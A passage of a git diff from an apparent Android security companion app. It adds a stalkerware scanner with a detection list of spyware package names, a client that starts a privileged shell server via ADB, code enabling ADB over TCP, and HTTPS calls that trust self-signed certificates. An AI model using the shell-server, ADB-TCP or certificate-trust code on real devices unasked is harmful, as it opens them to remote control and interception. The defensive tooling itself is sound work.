"Protection Shield" + override val description = "Scan & remove stalkerware, spyware, and surveillance tools" + override val version = "1.0" + + // Known stalkerware/spyware package patterns + private val stalkerwarePatterns = listOf( + "mspy", "flexispy", "cocospy", "spyzie", "hoverwatch", "eyezy", + "pctattoetool", "thewispy", "umobix", "xnspy", "cerberus", + "trackview", "spyera", "mobile.tracker", "spy.phone", "phone.monitor", + "gps.tracker.spy", "spyapp", "phonetracker", "stalkerware", + "keylogger", "screenrecorder.secret", "hidden.camera", + "com.android.providers.telephony.backup", // Fake system package + "com.system.service", "com.android.system.manager", // Common disguises + ) + + // Suspicious permissions that stalkerware typically uses + private val suspiciousPerms = listOf( + "android.permission.READ_CALL_LOG", + "android.permission.READ_SMS", + "android.permission.READ_CONTACTS", + "android.permission.RECORD_AUDIO", + "android.permission.CAMERA", + "android.permission.ACCESS_FINE_LOCATION", + "android.permission.READ_EXTERNAL_STORAGE", + "android.permission.BIND_ACCESSIBILITY_SERVICE", + "android.permission.BIND_DEVICE_ADMIN", + "android.permission.PACKAGE_USAGE_STATS", + "android.permission.SYSTEM_ALERT_WINDOW", + ) + + override fun getActions(): List = listOf( + ModuleAction("full_scan", "Full Scan", "Run all security scans"), + ModuleAction("scan_packages", "Scan Packages", "Check installed apps against stalkerware database"), + ModuleAction("scan_permissions", "Scan Permissions", "Find apps with suspicious permission combos"), + ModuleAction("scan_device_admins", "Scan Device Admins", "List active device administrators"), + ModuleAction("scan_accessibility", "Scan Accessibility", "Check enabled accessibility services"), + ModuleAction("scan_certificates", "Scan Certificates", "Check for user-installed CA certificates"), + ModuleAction("scan_network", "Scan Network", "Check proxy, DNS, VPN settings"), + ModuleAction("disable_app", "Disable App", "Disable a suspicious package (pm disable-user)"), + ModuleAction("uninstall_app", "Uninstall App", "Uninstall a suspicious package"), + ModuleAction("revoke_permissions", "Revoke Permissions", "Revoke dangerous permissions from a package"), + ModuleAction("remove_device_admin", "Remove Device Admin", "Remove an active device admin component"), + ModuleAction("clear_proxy", "Clear Proxy", "Remove HTTP proxy settings"), + ModuleAction("remove_certificate", "Remove Certificate", "Remove a user-installed CA certificate"), + ) + + override fun executeAction(actionId: String, context: Context): ModuleResult { + return when { + actionId == "full_scan" -> fullScan(context) + actionId == "scan_packages" -> scanPackages() + actionId == "scan_permissions" -> scanPermissions() + actionId == "scan_device_admins" -> scanDeviceAdmins() + actionId == "scan_accessibility" -> scanAccessibility() + actionId == "scan_certificates" -> scanCertificates() + actionId == "scan_network" -> scanNetwork() + actionId == "disable_app" -> ModuleResult(false, "Specify package: use disable_app:") + actionId == "uninstall_app" -> ModuleResult(false, "Specify package: use uninstall_app:") + actionId == "clear_proxy" -> clearProxy() + actionId.startsWith("disable_app:") -> disableApp(actionId.substringAfter(":")) + actionId.startsWith("uninstall_app:") -> uninstallApp(actionId.substringAfter(":")) + actionId.startsWith("revoke_permissions:") -> revokePermissions(actionId.substringAfter(":")) + actionId.startsWith("remove_device_admin:") -> removeDeviceAdmin(actionId.substringAfter(":")) + actionId.startsWith("remove_certificate:") -> removeCertificate(actionId.substringAfter(":")) + else -> ModuleResult(false, "Unknown action: $actionId") + } + } + + override fun getStatus(context: Context): ModuleStatus { + return ModuleStatus( + active = PrivilegeManager.isReady(), + summary = if (PrivilegeManager.isReady()) "Ready to scan" else "Needs privilege setup" + ) + } + + // ── Scan actions ──────────────────────────────────────────────── + + private fun fullScan(context: Context): ModuleResult { + val results = mutableListOf() + var threats = 0 + + val scans = listOf( + "Packages" to ::scanPackages, + "Permissions" to ::scanPermissions, + "Device Admins" to ::scanDeviceAdmins, + "Accessibility" to ::scanAccessibility, + "Certificates" to ::scanCertificates, + "Network" to ::scanNetwork, + ) + + for ((name, scan) in scans) { + val result = scan() + results.add("=== $name ===") + results.add(result.output) + if (result.details.isNotEmpty()) { + threats += result.details.size + results.addAll(result.details) + } + } + + return ModuleResult( + success = true, + output = if (threats > 0) "$threats potential threat(s) found" else "No threats detected", + details = results + ) + } + + private fun scanPackages(): ModuleResult { + val result = PrivilegeManager.execute("pm list packages") + if (result.exitCode != 0) { + return ModuleResult(false, "Failed to list packages: ${result.stderr}") + } + + val packages = result.stdout.lines() + .filter { it.startsWith("package:") } + .map { it.removePrefix("package:") } + + val found = mutableListOf() + for (pkg in packages) { + val lower = pkg.lowercase() + for (pattern in stalkerwarePatterns) { + if (lower.contains(pattern)) { + found.add("[!] $pkg (matches: $pattern)") + break + } + } + } + + return ModuleResult( + success = true, + output = "Scanned ${packages.size} packages, ${found.size} suspicious", + details = found + ) + } + + private fun scanPermissions(): ModuleResult { + // Get packages with dangerous permissions + val result = PrivilegeManager.execute( + "pm list packages -f | head -500" + ) + if (result.exitCode != 0) { + return ModuleResult(false, "Failed: ${result.stderr}") + } + + val packages = result.stdout.lines() + .filter { it.startsWith("package:") } + .map { it.substringAfterLast("=") } + .take(200) // Limit for performance + + val suspicious = mutableListOf() + for (pkg in packages) { + val dump = PrivilegeManager.execute("dumpsys package $pkg 2>/dev/null | grep 'android.permission' | head -30") + if (dump.exitCode != 0) continue + + val perms = dump.stdout.lines().map { it.trim() } + val dangerousCount = perms.count { line -> + suspiciousPerms.any { perm -> line.contains(perm) } + } + + if (dangerousCount >= 5) { + suspicious.add("[!] $pkg has $dangerousCount suspicious permissions") + } + } + + return ModuleResult( + success = true, + output = "Checked permissions on ${packages.size} packages, ${suspicious.size} suspicious", + details = suspicious + ) + } + + private fun scanDeviceAdmins(): ModuleResult { + val result = PrivilegeManager.execute("dumpsys device_policy 2>/dev/null | grep -A 2 'Admin\\|DeviceAdminInfo'") + if (result.exitCode != 0 && result.stdout.isEmpty()) { + return ModuleResult(true, "No device admins found or could not query", emptyList()) + } + + val admins = result.stdout.lines().filter { it.isNotBlank() } + return ModuleResult( + success = true, + output = "${admins.size} device admin entries found", + details = admins.map { it.trim() } + ) + } + + private fun scanAccessibility(): ModuleResult { + val result = PrivilegeManager.execute("settings get secure enabled_accessibility_services") + val services = result.stdout.trim() + + return if (services.isNotEmpty() && services != "null") { + val list = services.split(":").filter { it.isNotBlank() } + ModuleResult( + success = true, + output = "${list.size} accessibility service(s) enabled", + details = list.map { "[!] $it" } + ) + } else { + ModuleResult(true, "No accessibility services enabled", emptyList()) + } + } + + private fun scanCertificates(): ModuleResult { + val result = PrivilegeManager.execute("ls /data/misc/user/0/cacerts-added/ 2>/dev/null") + + return if (result.exitCode == 0 && result.stdout.isNotBlank()) { + val certs = result.stdout.lines().filter { it.isNotBlank() } + ModuleResult( + success = true, + output = "${certs.size} user-installed CA certificate(s)", + details = certs.map { "[!] Certificate: $it" } + ) + } else { + ModuleResult(true, "No user-installed CA certificates", emptyList()) + } + } + + private fun scanNetwork(): ModuleResult { + val findings = mutableListOf() + + // Check HTTP proxy + val proxy = PrivilegeManager.execute("settings get global http_proxy").stdout.trim() + if (proxy.isNotEmpty() && proxy != "null" && proxy != ":0") { + findings.add("[!] HTTP proxy set: $proxy") + } + + // Check private DNS + val dnsMode = PrivilegeManager.execute("settings get global private_dns_mode").stdout.trim() + val dnsProvider = PrivilegeManager.execute("settings get global private_dns_specifier").stdout.trim() + if (dnsMode == "hostname" && dnsProvider.isNotEmpty() && dnsProvider != "null") { + findings.add("[i] Private DNS: $dnsProvider (mode: $dnsMode)") + } + + // Check VPN always-on + val vpn = PrivilegeManager.execute("settings get secure always_on_vpn_app").stdout.trim() + if (vpn.isNotEmpty() && vpn != "null") { + findings.add("[!] Always-on VPN: $vpn") + } + + // Check global proxy pac + val pac = PrivilegeManager.execute("settings get global global_http_proxy_pac").stdout.trim() + if (pac.isNotEmpty() && pac != "null") { + findings.add("[!] Proxy PAC configured: $pac") + } + + return ModuleResult( + success = true, + output = if (findings.isEmpty()) "Network settings clean" else "${findings.size} network finding(s)", + details = findings + ) + } + + // ── Remediation actions ───────────────────────────────────────── + + private fun disableApp(pkg: String): ModuleResult { + val result = PrivilegeManager.execute("pm disable-user --user 0 $pkg") + return ModuleResult( + success = result.exitCode == 0, + output = if (result.exitCode == 0) "Disabled: $pkg" else "Failed: ${result.stderr}" + ) + } + + private fun uninstallApp(pkg: String): ModuleResult { + val result = PrivilegeManager.execute("pm uninstall --user 0 $pkg") + return ModuleResult( + success = result.exitCode == 0, + output = if (result.exitCode == 0) "Uninstalled: $pkg" else "Failed: ${result.stderr}" + ) + } + + private fun revokePermissions(pkg: String): ModuleResult { + val revoked = mutableListOf() + for (perm in suspiciousPerms) { + val result = PrivilegeManager.execute("pm revoke $pkg $perm 2>/dev/null") + if (result.exitCode == 0) revoked.add(perm) + } + return ModuleResult( + success = true, + output = "Revoked ${revoked.size}/${suspiciousPerms.size} permissions from $pkg", + details = revoked.map { "Revoked: $it" } + ) + } + + private fun removeDeviceAdmin(component: String): ModuleResult { + val result = PrivilegeManager.execute("dpm remove-active-admin $component") + return ModuleResult( + success = result.exitCode == 0, + output = if (result.exitCode == 0) "Removed device admin: $component" else "Failed: ${result.stderr}" + ) + } + + private fun clearProxy(): ModuleResult { + val result = PrivilegeManager.execute("settings put global http_proxy :0") + return ModuleResult( + success = result.exitCode == 0, + output = if (result.exitCode == 0) "HTTP proxy cleared" else "Failed: ${result.stderr}" + ) + } + + private fun removeCertificate(hash: String): ModuleResult { + val result = PrivilegeManager.execute("rm /data/misc/user/0/cacerts-added/$hash") + return ModuleResult( + success = result.exitCode == 0, + output = if (result.exitCode == 0) "Certificate removed: $hash" else "Failed: ${result.stderr}" + ) + } +} diff --git a/autarch_companion/app/src/main/kotlin/com/darkhal/archon/server/ArchonClient.kt b/autarch_companion/app/src/main/kotlin/com/darkhal/archon/server/ArchonClient.kt new file mode 100644 index 0000000..3a9c03f --- /dev/null +++ b/autarch_companion/app/src/main/kotlin/com/darkhal/archon/server/ArchonClient.kt @@ -0,0 +1,371 @@ +package com.darkhal.archon.server + +import android.content.Context +import android.util.Log +import com.darkhal.archon.service.LocalAdbClient +import com.darkhal.archon.util.AuthManager +import com.darkhal.archon.util.PrefsManager +import com.darkhal.archon.util.ShellResult +import java.io.BufferedReader +import java.io.InputStreamReader +import java.io.OutputStreamWriter +import java.io.PrintWriter +import java.net.InetSocketAddress +import java.net.Socket +import java.util.UUID +import java.util.concurrent.atomic.AtomicBoolean + +/** + * Client for the Archon privileged server process. + * + * Handles: + * - Bootstrapping the server via ADB (app_process command) + * - TCP socket communication with JSON protocol + * - Token-based authentication + * - Server lifecycle management + */ +object ArchonClient { + + private const val TAG = "ArchonClient" + private const val DEFAULT_PORT = 17321 + private const val PREFS_NAME = "archon_server" + private const val KEY_TOKEN = "server_token" + private const val KEY_PORT = "server_port" + private const val CONNECT_TIMEOUT = 3000 + private const val READ_TIMEOUT = 30000 + + private val serverRunning = AtomicBoolean(false) + private var serverPid: Int = -1 + + /** + * Check if the Archon server is running and responding. + */ + fun isServerRunning(context: Context): Boolean { + val token = getToken(context) ?: return false + val port = getPort(context) + return try { + val result = sendCommand(token, port, "__ping__") + val alive = result.exitCode == 0 && result.stdout == "pong" + serverRunning.set(alive) + alive + } catch (e: Exception) { + serverRunning.set(false) + false + } + } + + /** + * Get server info (UID, PID, uptime) if running. + */ + fun getServerInfo(context: Context): String? { + val token = getToken(context) ?: return null + val port = getPort(context) + return try { + val result = sendCommand(token, port, "__info__") + if (result.exitCode == 0) result.stdout else null + } catch (e: Exception) { + null + } + } + + /** + * Start the Archon server via ADB. + * + * Bootstrap flow: + * 1. Get APK path from context + * 2. Generate random auth token + * 3. Build app_process command + * 4. Execute via LocalAdbClient or AUTARCH server ADB + * 5. Wait for server to start + * 6. Verify connection + */ + /** + * Check if any ArchonServer is alive on the port (no auth needed). + */ + fun isServerAlive(): Boolean { + return try { + val result = sendCommand("", DEFAULT_PORT, "__alive__", 3) + result.exitCode == 0 && result.stdout == "alive" + } catch (e: Exception) { + false + } + } + + fun startServer(context: Context): StartResult { + // Check if a server is already running (possibly started from web UI) + if (isServerAlive()) { + Log.i(TAG, "Server already alive on port $DEFAULT_PORT") + // If we also have a valid token, verify full auth + if (isServerRunning(context)) { + val info = getServerInfo(context) ?: "running" + return StartResult(true, "Server already running: $info") + } + // Server alive but we don't have the right token + return StartResult(false, "Server running but token mismatch — stop it first (web UI or: adb shell pkill -f ArchonServer)") + } + + // Generate new token for this session + val token = UUID.randomUUID().toString().replace("-", "").take(32) + val port = DEFAULT_PORT + + // Save token and port + val prefs = context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE) + prefs.edit() + .putString(KEY_TOKEN, token) + .putInt(KEY_PORT, port) + .apply() + + // Get APK path + val apkPath = context.applicationInfo.sourceDir + if (apkPath.isNullOrEmpty()) { + return StartResult(false, "Could not determine APK path") + } + + // Build the bootstrap command (modeled after Shizuku's ServiceStarter pattern) + // TMPDIR is needed so dalvik-cache can be created by shell user + val bootstrapCmd = buildString { + append("TMPDIR=/data/local/tmp ") + append("CLASSPATH='$apkPath' ") + append("/system/bin/app_process /system/bin ") + append("com.darkhal.archon.server.ArchonServer ") + append("$token $port") + } + + // Wrap in nohup + background so it survives ADB disconnect + val fullCmd = "nohup sh -c \"$bootstrapCmd\" > /data/local/tmp/archon_server.log 2>&1 & echo started" + + Log.i(TAG, "Bootstrap command: $bootstrapCmd") + + // Try to execute — LocalAdbClient first, then AUTARCH server USB ADB + val adbResult = if (LocalAdbClient.isConnected()) { + Log.i(TAG, "Starting server via LocalAdbClient") + val r = LocalAdbClient.execute(fullCmd) + Log.i(TAG, "LocalAdb result: exit=${r.exitCode} stdout=${r.stdout.take(200)} stderr=${r.stderr.take(200)}") + r + } else { + Log.i(TAG, "LocalAdb not connected, trying AUTARCH server USB ADB") + val httpResult = startServerViaHttp(context, apkPath, token, port) + if (httpResult != null) { + Log.i(TAG, "HTTP bootstrap result: exit=${httpResult.exitCode} stdout=${httpResult.stdout.take(200)} stderr=${httpResult.stderr.take(200)}") + httpResult + } else { + Log.e(TAG, "Both ADB methods failed — no connection available") + return StartResult(false, "No ADB connection — connect phone via USB to AUTARCH, or use Wireless Debugging") + } + } + + if (adbResult.exitCode != 0 && !adbResult.stdout.contains("started")) { + Log.e(TAG, "Bootstrap command failed: exit=${adbResult.exitCode} stdout=${adbResult.stdout} stderr=${adbResult.stderr}") + return StartResult(false, "ADB command failed (exit ${adbResult.exitCode}): ${adbResult.stderr.ifEmpty { adbResult.stdout }}") + } + + // Wait for server to come up + Log.i(TAG, "Waiting for server to start...") + for (i in 1..10) { + Thread.sleep(500) + if (isServerRunning(context)) { + val info = getServerInfo(context) ?: "running" + Log.i(TAG, "Server started: $info") + return StartResult(true, "Server running: $info") + } + } + + return StartResult(false, "Server did not start within 5s — check /data/local/tmp/archon_server.log") + } + + /** + * Execute a shell command via the Archon server. + */ + fun execute(context: Context, command: String, timeoutSec: Int = 30): ShellResult { + val token = getToken(context) + ?: return ShellResult("", "No server token — start server first", -1) + val port = getPort(context) + + return try { + sendCommand(token, port, command, timeoutSec) + } catch (e: Exception) { + Log.e(TAG, "Execute failed", e) + serverRunning.set(false) + ShellResult("", "Server communication error: ${e.message}", -1) + } + } + + /** + * Stop the Archon server. + */ + fun stopServer(context: Context): Boolean { + val token = getToken(context) ?: return false + val port = getPort(context) + return try { + sendCommand(token, port, "__shutdown__") + serverRunning.set(false) + Log.i(TAG, "Server shutdown requested") + true + } catch (e: Exception) { + Log.e(TAG, "Stop failed", e) + false + } + } + + /** + * Generate the bootstrap command string (for display/manual use). + */ + fun getBootstrapCommand(context: Context): String { + val token = getToken(context) ?: "TOKEN" + val port = getPort(context) + val apkPath = context.applicationInfo.sourceDir ?: "/data/app/.../base.apk" + return "TMPDIR=/data/local/tmp CLASSPATH='$apkPath' /system/bin/app_process /system/bin " + + "com.darkhal.archon.server.ArchonServer $token $port" + } + + // ── Internal ──────────────────────────────────────────────────── + + private fun getToken(context: Context): String? { + val prefs = context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE) + return prefs.getString(KEY_TOKEN, null) + } + + private fun getPort(context: Context): Int { + val prefs = context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE) + return prefs.getInt(KEY_PORT, DEFAULT_PORT) + } + + private fun sendCommand(token: String, port: Int, cmd: String, timeoutSec: Int = 30): ShellResult { + val socket = Socket() + try { + socket.connect(InetSocketAddress("127.0.0.1", port), CONNECT_TIMEOUT) + socket.soTimeout = (timeoutSec + 5) * 1000 + + val writer = PrintWriter(OutputStreamWriter(socket.getOutputStream()), true) + val reader = BufferedReader(InputStreamReader(socket.getInputStream())) + + // Build JSON request + val request = """{"token":"${escapeJson(token)}","cmd":"${escapeJson(cmd)}","timeout":$timeoutSec}""" + writer.println(request) + + // Read JSON response + val response = reader.readLine() + ?: return ShellResult("", "No response from server", -1) + + return parseResponse(response) + } finally { + try { socket.close() } catch (e: Exception) { /* ignore */ } + } + } + + private fun parseResponse(json: String): ShellResult { + val stdout = extractJsonString(json, "stdout") ?: "" + val stderr = extractJsonString(json, "stderr") ?: "" + val exitCode = extractJsonInt(json, "exit_code", -1) + return ShellResult(stdout, stderr, exitCode) + } + + private fun extractJsonString(json: String, key: String): String? { + val search = "\"$key\"" + var idx = json.indexOf(search) + if (idx < 0) return null + + idx = json.indexOf(':', idx + search.length) + if (idx < 0) return null + idx++ + + while (idx < json.length && json[idx] == ' ') idx++ + if (idx >= json.length || json[idx] != '"') return null + idx++ + + val sb = StringBuilder() + while (idx < json.length) { + val c = json[idx] + if (c == '\\' && idx + 1 < json.length) { + when (json[idx + 1]) { + '"' -> sb.append('"') + '\\' -> sb.append('\\') + 'n' -> sb.append('\n') + 'r' -> sb.append('\r') + 't' -> sb.append('\t') + else -> sb.append(json[idx + 1]) + } + idx += 2 + } else if (c == '"') { + break + } else { + sb.append(c) + idx++ + } + } + return sb.toString() + } + + private fun extractJsonInt(json: String, key: String, default: Int): Int { + val search = "\"$key\"" + var idx = json.indexOf(search) + if (idx < 0) return default + + idx = json.indexOf(':', idx + search.length) + if (idx < 0) return default + idx++ + + while (idx < json.length && json[idx] == ' ') idx++ + + val sb = StringBuilder() + while (idx < json.length && (json[idx].isDigit() || json[idx] == '-')) { + sb.append(json[idx]) + idx++ + } + return sb.toString().toIntOrNull() ?: default + } + + /** + * Bootstrap ArchonServer via AUTARCH server's USB ADB connection. + * Uses the /hardware/archon/bootstrap endpoint which auto-discovers the device. + */ + private fun startServerViaHttp(context: Context, apkPath: String, token: String, port: Int): ShellResult? { + val serverIp = PrefsManager.getServerIp(context) + val serverPort = PrefsManager.getWebPort(context) + if (serverIp.isEmpty()) return null + + return try { + val url = java.net.URL("https://$serverIp:$serverPort/hardware/archon/bootstrap") + val conn = url.openConnection() as java.net.HttpURLConnection + com.darkhal.archon.util.SslHelper.trustSelfSigned(conn) + conn.connectTimeout = 5000 + conn.readTimeout = 15000 + conn.requestMethod = "POST" + conn.setRequestProperty("Content-Type", "application/json") + conn.doOutput = true + + val payload = """{"apk_path":"${escapeJson(apkPath)}","token":"${escapeJson(token)}","port":$port}""" + Log.i(TAG, "Bootstrap via HTTP: $serverIp:$serverPort") + conn.outputStream.write(payload.toByteArray()) + + val code = conn.responseCode + val body = if (code in 200..299) { + conn.inputStream.bufferedReader().readText() + } else { + conn.errorStream?.bufferedReader()?.readText() ?: "HTTP $code" + } + conn.disconnect() + + Log.i(TAG, "Bootstrap HTTP response: $code - $body") + + if (code in 200..299) { + val stdout = extractJsonString(body, "stdout") ?: body + val stderr = extractJsonString(body, "stderr") ?: "" + val exitCode = extractJsonInt(body, "exit_code", 0) + ShellResult(stdout, stderr, exitCode) + } else { + Log.w(TAG, "Bootstrap returned HTTP $code: $body") + null + } + } catch (e: Exception) { + Log.w(TAG, "Bootstrap failed: ${e.message}") + null + } + } + + private fun escapeJson(s: String): String { + return s.replace("\\", "\\\\").replace("\"", "\\\"").replace("\n", "\\n") + } + + data class StartResult(val success: Boolean, val message: String) +} diff --git a/autarch_companion/app/src/main/kotlin/com/darkhal/archon/service/AdbManager.kt b/autarch_companion/app/src/main/kotlin/com/darkhal/archon/service/AdbManager.kt new file mode 100644 index 0000000..a8ffd0a --- /dev/null +++ b/autarch_companion/app/src/main/kotlin/com/darkhal/archon/service/AdbManager.kt @@ -0,0 +1,77 @@ +package com.darkhal.archon.service + +import com.darkhal.archon.util.PrivilegeManager +import com.darkhal.archon.util.ShellExecutor +import com.darkhal.archon.util.ShellResult + +object AdbManager { + + private const val ADBD_PROCESS = "adbd" + + /** + * Enable ADB over TCP/IP on the specified port. + * Uses the best available privilege method. + */ + fun enableTcpMode(port: Int = 5555): ShellResult { + return PrivilegeManager.execute( + "setprop service.adb.tcp.port $port && stop adbd && start adbd" + ) + } + + /** + * Disable ADB TCP/IP mode, reverting to USB-only. + */ + fun disableTcpMode(): ShellResult { + return PrivilegeManager.execute( + "setprop service.adb.tcp.port -1 && stop adbd && start adbd" + ) + } + + /** + * Kill the ADB daemon. + */ + fun killServer(): ShellResult { + return PrivilegeManager.execute("stop adbd") + } + + /** + * Restart the ADB daemon (stop then start). + */ + fun restartServer(): ShellResult { + return PrivilegeManager.execute("stop adbd && start adbd") + } + + /** + * Check if the ADB daemon process is currently running. + */ + fun isRunning(): Boolean { + val result = ShellExecutor.execute("pidof $ADBD_PROCESS") + return result.exitCode == 0 && result.stdout.isNotEmpty() + } + + /** + * Get the current ADB mode: "tcp" with port number, or "usb". + */ + fun getMode(): String { + val result = ShellExecutor.execute("getprop service.adb.tcp.port") + val port = result.stdout.trim() + return if (port.isNotEmpty() && port != "-1" && port != "0") { + "tcp:$port" + } else { + "usb" + } + } + + /** + * Get a combined status map for display. + */ + fun getStatus(): Map { + val running = isRunning() + val mode = getMode() + return mapOf( + "running" to running, + "mode" to mode, + "tcp_enabled" to mode.startsWith("tcp") + ) + } +} diff --git a/autarch_companion/app/src/main/kotlin/com/darkhal/archon/service/DiscoveryManager.kt b/autarch_companion/app/src/main/kotlin/com/darkhal/archon/service/DiscoveryManager.kt new file mode 100644 index 0000000..05338a2 --- /dev/null +++ b/autarch_companion/app/src/main/kotlin/com/darkhal/archon/service/DiscoveryManager.kt @@ -0,0 +1,416 @@ +package com.darkhal.archon.service + +import android.bluetooth.BluetoothAdapter +import android.bluetooth.BluetoothDevice +import android.bluetooth.BluetoothManager +import android.content.BroadcastReceiver +import android.content.Context +import android.content.Intent +import android.content.IntentFilter +import android.net.nsd.NsdManager +import android.net.nsd.NsdServiceInfo +import android.net.wifi.WifiManager +import android.net.wifi.p2p.WifiP2pConfig +import android.net.wifi.p2p.WifiP2pDevice +import android.net.wifi.p2p.WifiP2pDeviceList +import android.net.wifi.p2p.WifiP2pInfo +import android.net.wifi.p2p.WifiP2pManager +import android.os.Handler +import android.os.Looper +import android.util.Log + +/** + * Discovers AUTARCH servers on the network using three methods (priority order): + * + * 1. **mDNS/NSD** — discovers _autarch._tcp.local. on LAN (fastest, most reliable) + * 2. **Wi-Fi Direct** — discovers AUTARCH peers when no shared LAN exists + * 3. **Bluetooth** — discovers AUTARCH BT advertisement (fallback, requires BT enabled + paired) + * + * Usage: + * val discovery = DiscoveryManager(context) + * discovery.listener = object : DiscoveryManager.Listener { ... } + * discovery.startDiscovery() + * // ... later ... + * discovery.stopDiscovery() + */ +class DiscoveryManager(private val context: Context) { + + companion object { + private const val TAG = "ArchonDiscovery" + private const val MDNS_SERVICE_TYPE = "_autarch._tcp." + private const val BT_TARGET_NAME = "AUTARCH" + private const val WIFIDIRECT_TARGET_NAME = "AUTARCH" + private const val DISCOVERY_TIMEOUT_MS = 15000L + } + + // ── Result Data ───────────────────────────────────────────────── + + data class DiscoveredServer( + val ip: String, + val port: Int, + val hostname: String, + val method: ConnectionMethod, + val extras: Map = emptyMap() + ) + + enum class ConnectionMethod { + MDNS, // Found via mDNS on local network + WIFI_DIRECT, // Found via Wi-Fi Direct + BLUETOOTH // Found via Bluetooth + } + + // ── Listener ──────────────────────────────────────────────────── + + interface Listener { + fun onServerFound(server: DiscoveredServer) + fun onDiscoveryStarted(method: ConnectionMethod) + fun onDiscoveryStopped(method: ConnectionMethod) + fun onDiscoveryError(method: ConnectionMethod, error: String) + } + + var listener: Listener? = null + private val handler = Handler(Looper.getMainLooper()) + + // ── State ─────────────────────────────────────────────────────── + + private var mdnsRunning = false + private var wifiDirectRunning = false + private var bluetoothRunning = false + + private var nsdManager: NsdManager? = null + private var discoveryListener: NsdManager.DiscoveryListener? = null + private var wifiP2pManager: WifiP2pManager? = null + private var wifiP2pChannel: WifiP2pManager.Channel? = null + private var bluetoothAdapter: BluetoothAdapter? = null + + private val discoveredServers = mutableListOf() + + // ── Public API ────────────────────────────────────────────────── + + /** + * Start all available discovery methods in priority order. + * Results arrive via the [Listener] callback. + */ + fun startDiscovery() { + discoveredServers.clear() + startMdnsDiscovery() + startWifiDirectDiscovery() + startBluetoothDiscovery() + + // Auto-stop after timeout + handler.postDelayed({ stopDiscovery() }, DISCOVERY_TIMEOUT_MS) + } + + /** + * Stop all discovery methods. + */ + fun stopDiscovery() { + stopMdnsDiscovery() + stopWifiDirectDiscovery() + stopBluetoothDiscovery() + } + + /** + * Get all servers found so far. + */ + fun getDiscoveredServers(): List { + return discoveredServers.toList() + } + + /** + * Get the best server (highest priority method). + */ + fun getBestServer(): DiscoveredServer? { + return discoveredServers.minByOrNull { it.method.ordinal } + } + + // ── mDNS / NSD ───────────────────────────────────────────────── + + private fun startMdnsDiscovery() { + if (mdnsRunning) return + + try { + nsdManager = context.getSystemService(Context.NSD_SERVICE) as? NsdManager + if (nsdManager == null) { + notifyError(ConnectionMethod.MDNS, "NSD service not available") + return + } + + discoveryListener = object : NsdManager.DiscoveryListener { + override fun onDiscoveryStarted(serviceType: String) { + Log.d(TAG, "mDNS discovery started") + mdnsRunning = true + handler.post { listener?.onDiscoveryStarted(ConnectionMethod.MDNS) } + } + + override fun onServiceFound(serviceInfo: NsdServiceInfo) { + Log.d(TAG, "mDNS service found: ${serviceInfo.serviceName}") + // Resolve to get IP and port + nsdManager?.resolveService(serviceInfo, object : NsdManager.ResolveListener { + override fun onResolveFailed(info: NsdServiceInfo, errorCode: Int) { + Log.w(TAG, "mDNS resolve failed: $errorCode") + } + + override fun onServiceResolved(info: NsdServiceInfo) { + val host = info.host?.hostAddress ?: return + val port = info.port + val hostname = info.attributes["hostname"] + ?.let { String(it) } ?: info.serviceName + + val server = DiscoveredServer( + ip = host, + port = port, + hostname = hostname, + method = ConnectionMethod.MDNS, + extras = info.attributes.mapValues { String(it.value ?: byteArrayOf()) } + ) + discoveredServers.add(server) + handler.post { listener?.onServerFound(server) } + Log.i(TAG, "mDNS: found AUTARCH at $host:$port") + } + }) + } + + override fun onServiceLost(serviceInfo: NsdServiceInfo) { + Log.d(TAG, "mDNS service lost: ${serviceInfo.serviceName}") + } + + override fun onDiscoveryStopped(serviceType: String) { + mdnsRunning = false + handler.post { listener?.onDiscoveryStopped(ConnectionMethod.MDNS) } + } + + override fun onStartDiscoveryFailed(serviceType: String, errorCode: Int) { + mdnsRunning = false + notifyError(ConnectionMethod.MDNS, "Start failed (code $errorCode)") + } + + override fun onStopDiscoveryFailed(serviceType: String, errorCode: Int) { + Log.w(TAG, "mDNS stop failed: $errorCode") + } + } + + nsdManager?.discoverServices(MDNS_SERVICE_TYPE, NsdManager.PROTOCOL_DNS_SD, discoveryListener) + + } catch (e: Exception) { + notifyError(ConnectionMethod.MDNS, e.message ?: "Unknown error") + } + } + + private fun stopMdnsDiscovery() { + if (!mdnsRunning) return + try { + discoveryListener?.let { nsdManager?.stopServiceDiscovery(it) } + } catch (e: Exception) { + Log.w(TAG, "mDNS stop error: ${e.message}") + } + mdnsRunning = false + } + + // ── Wi-Fi Direct ──────────────────────────────────────────────── + + private val wifiP2pReceiver = object : BroadcastReceiver() { + override fun onReceive(ctx: Context, intent: Intent) { + when (intent.action) { + WifiP2pManager.WIFI_P2P_PEERS_CHANGED_ACTION -> { + // Peers list changed, request updated list + wifiP2pManager?.requestPeers(wifiP2pChannel) { peers -> + handleWifiDirectPeers(peers) + } + } + WifiP2pManager.WIFI_P2P_CONNECTION_CHANGED_ACTION -> { + wifiP2pManager?.requestConnectionInfo(wifiP2pChannel) { info -> + handleWifiDirectConnection(info) + } + } + } + } + } + + private fun startWifiDirectDiscovery() { + if (wifiDirectRunning) return + + try { + wifiP2pManager = context.getSystemService(Context.WIFI_P2P_SERVICE) as? WifiP2pManager + if (wifiP2pManager == null) { + notifyError(ConnectionMethod.WIFI_DIRECT, "Wi-Fi Direct not available") + return + } + + wifiP2pChannel = wifiP2pManager?.initialize(context, Looper.getMainLooper(), null) + + // Register receiver for Wi-Fi Direct events + val intentFilter = IntentFilter().apply { + addAction(WifiP2pManager.WIFI_P2P_PEERS_CHANGED_ACTION) + addAction(WifiP2pManager.WIFI_P2P_CONNECTION_CHANGED_ACTION) + addAction(WifiP2pManager.WIFI_P2P_STATE_CHANGED_ACTION) + } + context.registerReceiver(wifiP2pReceiver, intentFilter) + + wifiP2pManager?.discoverPeers(wifiP2pChannel, object : WifiP2pManager.ActionListener { + override fun onSuccess() { + wifiDirectRunning = true + handler.post { listener?.onDiscoveryStarted(ConnectionMethod.WIFI_DIRECT) } + Log.d(TAG, "Wi-Fi Direct discovery started") + } + + override fun onFailure(reason: Int) { + val msg = when (reason) { + WifiP2pManager.P2P_UNSUPPORTED -> "P2P unsupported" + WifiP2pManager.BUSY -> "System busy" + WifiP2pManager.ERROR -> "Internal error" + else -> "Unknown error ($reason)" + } + notifyError(ConnectionMethod.WIFI_DIRECT, msg) + } + }) + + } catch (e: Exception) { + notifyError(ConnectionMethod.WIFI_DIRECT, e.message ?: "Unknown error") + } + } + + private fun handleWifiDirectPeers(peers: WifiP2pDeviceList) { + for (device in peers.deviceList) { 